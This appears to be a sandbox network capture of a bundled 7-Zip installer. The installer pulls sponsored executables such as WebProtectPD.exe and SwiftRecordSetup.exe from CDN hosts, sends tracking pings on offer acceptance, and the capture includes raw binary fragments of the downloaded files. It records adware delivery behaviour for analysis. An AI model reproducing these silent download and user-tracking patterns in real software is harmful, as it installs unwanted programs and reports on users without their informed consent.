... ..pb9.g..o.e...x.o.JJ.y...K.z2w.%.hP...h..z.j....%d.......T....MI.
{c.O'".a..~.t.5.:....Vf......:.Mq9....!.....mJM.lN.~....?0.\.....8...!
...U..o!6.w:^T .#~8d..M...u?..v....8.$..R..!.)....t....0...0...0..y...
....^..........N...)0...*.H........0J1.0...U....US1.0...U....Thawte, I
nc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1506012359
59Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Signin
g CA - G2 OCSP Responder0.."0...*.H.............0............).Z......
.O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.rWJ.j.U.._
......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm.......{b.bj.
...Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y............8.
..k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0...U.%..0.
.. .......0...U........0... .....0......0"..U....0...0.1.0...U....TGV-
B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J.3~..7#}.
.X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T..Yu.o...
..g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......]...y..L.
.F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......t....>
.....j....
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=18230-36461
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 18232
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 18230-36461/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HRZywTdrp8yBry2ytS8QHlYumUBUDW6tquQsbdgXhAdRswbIOARYFw==
[email protected]@..E......%[email protected][email protected]$
..........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....
@... [email protected][email protected]@[email protected]@...
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W
..0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`.@
.V.......W......?.u..=..B.\[email protected]....([email protected].
............j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS
.F..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W...
......H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u
.tK9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5..
...Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$
.t.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\
u.8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..
{.\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V
.........u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@
...;[email protected]........._^[email protected]..'.E..u...0
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. .
.....ANu.^[email protected].$.P.t$...|p@...^[email protected]....#
[email protected][email protected]...`[email protected].
[email protected]..&._^][email protected].;u.u.3.@..
3.^][email protected]@[email protected][email protected]..
..../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@....
<<< skipped >>>


GET /?gfe_rd=cr&ei=kPRBVY-NMM7ANPCRAQ HTTP/1.1
Host: VVV.google.com.ua
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=kPRBVY-NMM7ANPCRAQ&gws_rd=ssl
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=8230404fe338c241:FF=0:TM=1430385808:LM=1430385808:S=W3qcPEBqOo9gTpL8; expires=Sat, 29-Apr-2017 09:23:28 GMT; path=/; domain=.google.com.ua
Set-Cookie: NID=67=kV2WqkCQ48wxPTolTXbVAYavKJvJMyCQpT0DdAgsadZWDcpGEXkDPS_eNO9H7RPfCLb0LMKP_llW526lOkcwcoNL6Mx0-8nF-bbnRqG7tv3HuNHAeRnDdQb9FPhDchOh; expires=Fri, 30-Oct-2015 09:23:28 GMT; path=/; domain=.google.com.ua; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Date: Thu, 30 Apr 2015 09:23:28 GMT
Server: gws
Content-Length: 274
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=kPRBVY-NMM7
ANPCRAQ&gws_rd=ssl">here</A>...</BODY></HTML>
..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&e
i=kPRBVY-NMM7ANPCRAQ&gws_rd=ssl..Cache-Control: private..Content-Type:
 text/html; charset=UTF-8..Set-Cookie: PREF=ID=8230404fe338c241:FF=0:T
M=1430385808:LM=1430385808:S=W3qcPEBqOo9gTpL8; expires=Sat, 29-Apr-201
7 09:23:28 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID=67=kV2W
qkCQ48wxPTolTXbVAYavKJvJMyCQpT0DdAgsadZWDcpGEXkDPS_eNO9H7RPfCLb0LMKP_l
lW526lOkcwcoNL6Mx0-8nF-bbnRqG7tv3HuNHAeRnDdQb9FPhDchOh; expires=Fri, 3
0-Oct-2015 09:23:28 GMT; path=/; domain=.google.com.ua; HttpOnly..P3P:
 CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accou
nts/bin/answer.py?hl=en&answer=151657 for more info."..Date: Thu, 30 A
pr 2015 09:23:28 GMT..Server: gws..Content-Length: 274..X-XSS-Protecti
on: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80
:quic,p=1..<HTML><HEAD><meta http-equiv="content-type" 
content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE
></HEAD><BODY>.<H1>302 Moved</H1>.The docum
ent has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=
kPRBVY-NMM7ANPCRAQ&gws_rd=ssl">here</A>...</BODY&g
<<< skipped >>>


GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.comodoca.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:39 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Thu, 30 Apr 2015 03:03:35 GMT
Expires: Mon, 04 May 2015 03:03:35 GMT
ETag: 0F20F26B5950419CF806AEC1664FE6174CDEE9D1
Cache-Control: max-age=322015,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp9
Content-Length: 472
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........,}...h|%....?......2015043
0030335Z0t0r0J0... .........%.6..Ga....e............,}...h|%....?.....
......p....".f........20150430030335Z....20150504030335Z0...*.H.......
........Tw.-g.X.`[email protected]."..7...W...7<..x/.........2..02&.\.?.
r...o@.^.........Z?.O.......[LH....EU....hG...'=\..W.x4....|[..y.G.n9.
..i...D.8.Zã.!O0b..} ..v {BMG.........^.).[..U^..Pd.C........"_t....
.%.%K#./t..<..n......I.j...d..U\..U...0.n..[...hc.U...=..



GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=652193&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:20 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Thu, 30
 Apr 2015 09:25:20 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.2095572798928257 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:26 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:22:26 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /ThawtePremiumServerCA.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.thawte.com


HTTP/1.1 200 OK
Server: Apache
ETag: "e83634cb068b182cc8872e518e1af85d:1430384743"
Last-Modified: Thu, 30 Apr 2015 09:05:43 GMT
Date: Thu, 30 Apr 2015 09:26:48 GMT
Content-Length: 7587
Connection: keep-alive
Content-Type: application/pkix-crl
0...0...0...*.H........0..1.0...U....ZA1.0...U....Western Cape1.0...U.
...Cape Town1.0...U....Thawte Consulting cc1(0&..U....Certification Se
rvices Division1!0...U....Thawte Premium Server CA1(0&..*.H........pre
[email protected]!....T..W...p
.[..%...100322161038Z0!....hx.....k...7....130919164724Z0!...!P..6{.lS
[email protected]!...Da\v..........%..130920062728Z0!...>.e..-
...s[.2I...140418142220Z0!....dU...(...=...*..140801114607Z0!........d
.{#E..9`...130926061856Z0!....6..q.'tT..1.Q...130926062249Z0!.........
...>..i....130528164218Z0!..........#.P.......130716072254Z0!.....%
.......R......100801221434Z0!.....M..HK.....x....130926060355Z0!....k.
"..z......64..130919082450Z0!...W..._....%..I....130926063253Z0!..._._
~gq.I.)[email protected]!.....=X>...][email protected]!...
 .(........n.S...130923202627Z0!.....:...B..=]Hsx_..130920011556Z0!...
.>.ITt.Aw%*I.....130918091937Z0!....-.U.BC{#...x....120301162056Z0!
...U...z7.....UK.n..150330151829Z0!..........1S..Pp....130925105017Z0!
.......x.G.....=....130926064912Z0!....d....... ..=....130911111649Z0!
.....|...x._....wH..100510135256Z0!.....f.....F."E.....100527143439Z0!
.......B...Y..;..S..130925185558Z0!..........G.1.......100624153158Z0!
...3...$o~...w.t3...140304192649Z0!...=.;...........`..130924105544Z0!
....e..8..3...h1[|..130905162920Z0!...d.[,tpLq..o.; ...100528183707Z0!
...c.$.?.._..4..O...130905193529Z0!......V..T].Y..:|...130304224528Z0!
....Xy..MnW.G..f.t..130810133109Z0!.....c.8..vX....ue..13093018594
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130814-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache



......sm...". -U.....8...R_!.7.........-..A|...`$.b.".V....D....ZR.k:.
....A....p.....>...8.3.K.../`S=..X{U.....f.[Gm....O.<..../...L..
J..Y.!$T.,......-.=......S% ,.0~z....:..SK........A...<F..j..G.'...
8a...D.......9...O..,"..&.9.XUK9.....x$...Rs<......T..U......2.K...
..Fi.x.w.z....d[OF...)m,...#M...X5e.\...`.q.h;...uf/5m[.0...l*@...j.v,
.L.d5. <.0....M.?..n..F....UBa.Fc.d..0....u. ...T.....=.,5.n.En...~
..^......O!.."&or...tN. ....o....0......w.)..N...`..9.p..#..i...A.`. X
2.7.........Y.&.we65t.....Ey.^[email protected]*...\r...
...%...m.a....f..H.9.1...W;..i....nr.f..P..P.O...C..8...7H....o....fO.
...B..X..0....K.s.V....o......<Hf.`,. .........h,.GH..U..).T..1qH..
.^f...1./.s.i.*..7~P.(.T4...u.w.o..G....)..4....jA..9=K......L.vhm....
... ./G.-..[.%.[=([email protected][email protected](.......i.f~.Sq
...../.....f.w.F.hX......t.2.0.su...~..(J.?z...".m...y.-...KW..9..Um?.
vZ.........f.sSd.......g.q.h.j..:............7...._.....u.g.J.#/....Y"
..&.`.;....<.Zk..$a.s...|#.....'0..1......*.1.....5c...#.vt.9?1....
...k.........V.&.v3.....u....J/............?..S&... W.[...u....nOTx..,
..#...D.]..;.#...)......J.tQ?....I-E=;....~.....AIA..\H>.J..q..P0(.
.C.e5Q.y....a..V.f.;....se...r......x..E^Z C.d....G..@(]..WO..MO..g.O#
...G...H<..l..x..J3....[.......Fz.t.(Ay........*..". ..S`...6.A.I..
.,[email protected]@....CLj....Z.&8............_.
.3.q..zo8...h.(...Lw5UDjn7^a7......i....1.II...Z.."........z..'.....f.
[email protected]..<.6.h.o.Q....z0.....H...N~............Q2..\..>
<<< skipped >>>


GET /27164.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYNwxDViRVDOC1YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPu3mNG2ouchQGAGBAmUlF5unh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /pin.gif?e=tracking&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&t=1&v=29.0.1&b=ff&os=6.1x64&osv=7601&ai={42c2ce50-98bd-87f8-6695-f76e817ccf5a}[email protected] HTTP/1.1
Host: stat.webprotectionfree.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:30 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:23:30 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..



GET /r/__utm.gif?utmwv=5.6.4&utms=1&utmn=985526196&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Installer_Init&utmht=1430385828956&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=2006071221&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Date: Thu, 30 Apr 2015 09:23:49 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Server: Golfe2
Content-Length: 35
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Thu, 30 Apr 2015 09:23:49 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=1..GIF89a..........
...,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=2&utmn=467482209&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Offer_Accepted&utmht=1430385883684&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140654
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140654..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=3&utmn=918851154&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Offer_Accepted&utmht=1430385892361&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Tue, 28 Apr 2015 18:20:29 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 140663
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Tue, 28 Apr 2015 18:20:29 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 140663..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....



GET /sd?is=sm HTTP/1.1
Range: bytes=327035-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 327035-523255/523256
Content-Length: 196221
Connection: keep-alive
C.......4..e.(.....7.dQ.I......l....J..:.W<.m7Fd/.!.I.s.....z...Q.(
O.....h.........V...E....T..K....K...".}..O%.K...D..Me.."..b....9.D..Q
..L?..`......`..!|X.=....vt5..2w...%.q.$R....).. ..t..f...&......V.6..
....V...J...}l..),"[C...ro U..g$4...?JO/#.p...[T..}l....m......R.....B
.-c..........D..../....$..r3..........!!.o..#'[email protected]........
...)n:S.`....ZP.:Ih.!.\..Za[P....u.@.'.....0.8..^.6.............R...J.
..T.e.a:._y.".$y......x......9.N..aL[..2..Z$....[.y,u...0^..a..pJ..P..
[email protected]..^%2i..rJF..C..0c...}..&....z`.2h"'.;.L.n.
....j4........b..47.....B...8....\.}Ta`.<........K....<..."..j.o
j}.}..<aQ.........iIy..'.6E...........EI.@....>......m.........|
.}[email protected]@"....G4...C..A...o.6...97..H...%.[g...
"[email protected].~P....*[email protected]....`......m/.........yY.>
.....=...VEd.-.........q.V0..,.i.H:...X...73....Q..E.%.......h..q.bHO!
.c...H...|..<....}....%....9..>M.......fd..>..\....._4eh..../
.C [email protected].........=.p...........L....}.
.Id....x..Gq.M.^.w.I'..a.\Ca.v.7#..vP..^..m..&..X.k.L.L.....r.........
.S|.r....l=.YYr..`9..........e.y!..p...o........p[......-..S..........
J...x....g~........F....E....W.....D0....-p].Wx...'...d0m;9..a......k.
........c1.;...........`w.k.{O......P..E``.<b.......c[}.}.....Iy...
j?,.s....}T>...*.V.|...L9........M..68..v]...M.H......ycr......'.U.
...a...K....Z.J~..GCB&..7F.1.l.! .&.m.O)@y...x%.%..c>.#.....>.(K
CN...m.y....J...;.s.G..i.U...}...~..z^P......B....H.>.5........
<<< skipped >>>


GET /infv5/index/3428/3rd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: dqoup4b5zs0bi.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Date: Thu, 30 Apr 2015 09:23:01 GMT
Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak
Server: nginx
X-Cache: Miss from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: z6oWHOQQznAfvXD0_1QmCPEkBRBluUtHcU76CAQGuVGaPh9AyBXtrQ==
HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Thu, 30 Apr 2015 09:23:01 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa
2af09de41e/2.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: z6oWHOQQznAfvXD0_1QmCPEkBRBluUtHcU76CAQGuVGaPh9AyBXtrQ==..



GET /4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUzjxmCcB9WVISvSrmvhzpIGq0JQd5HxgIXeZmmutUZ0P/5KGZ7N/WHCaCHzyr AmlG5QSjSVhgDAFIf3RLuL65mgb49qSg1c16q1wR Xa67k83tC00lsCOkBO4Xoi5PcN r3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAf/DIf3gxM C HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUzjaaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YMvwCGk4Aft7YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS6MO0I8D33Vm6UKtl8K7DNKuuxDnFpgEBmSoXv0QQZkmnbtGMhJfo1o= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

